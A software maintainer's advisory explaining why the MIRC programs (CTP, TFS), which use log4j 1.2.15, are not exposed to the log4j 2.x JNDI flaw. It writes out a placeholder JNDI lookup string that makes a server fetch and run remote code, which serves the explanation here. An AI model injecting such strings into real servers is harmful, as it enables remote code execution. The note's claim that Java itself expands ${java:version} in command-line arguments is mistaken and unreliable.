Log4J in MIRC code, including CTP and TFS

[John Perry]

I have received many questions about the vulnerability recently discovered in certain versions of Apache log4j, the logging facility used by all the MIRC code. I'd like to document the situation as I understand it here.

None of the MIRC software (including CTP and TFS) uses log4j versions that are vulnerable to the attack.

 

The vulnerable versions of log4j are 2.0 through 2.14.1. All the MIRC programs use log4j version 1.2.15.

 

The vulnerability in question is triggered when a string of a specific format is logged by Apache log4j. To initiate an attack, an attacker must send an HTTP request to the CTP server and the server has to log something in the request that the attacker has crafted to trigger the vulnerability. None of the MIRC code logs strings from received requests, so an attacker wouldn't have a way to exploit the vulnerability even if we were running a vulnerable log4j version.

 

To exploit the vulnerability, the attacker uses a Java feature that automatically evaluates a string in the form ${...}. For example, if you run a Java program with a command line argument like this:

 

    java –jar program.jar ${java:version}

 

the program will actually receive an argument string containing the evaluated contents of the version system property, like this:

 

    Java version 1.8.0_231

 

The problem arises when a server receives and logs something in a request (maybe a User-Agent header, for example) containing a string like:

 

    ${jndi:<protocol>://<ip:port>/<path-to-program-on-remote-site>}

 

Log4j evaluates the string, triggering the Java Naming and Directory Interface (JNDI) framework to fetch and run whatever code the attacker's remote server supplies. The code doesn't even have to be a Java program; it can be anything supported by the local site, like an exe, for example, so this is a really bad problem.

 

Apache has released a new version (2.16.0) that turns off the JNDI capability in log4j, although it's not clear that this will be the final word on the subject. I have downloaded 2.16.0, but I haven't actually built it into anything yet.

 

Log4j version 1 did not support the JNDI lookup mechanism, so it can't possibly have the problem. (Version 1 did include a JMSAppender which can do a JNDI lookup if so configured in the log4j.properties file, but none of the MIRC code uses that appender.)

 

I'll make new releases of everything with the latest log4j when I'm satisfied that things have settled down, but the MIRC code currently in the field is not vulnerable to this attack, so I don't feel like this is an emergency.

 

JP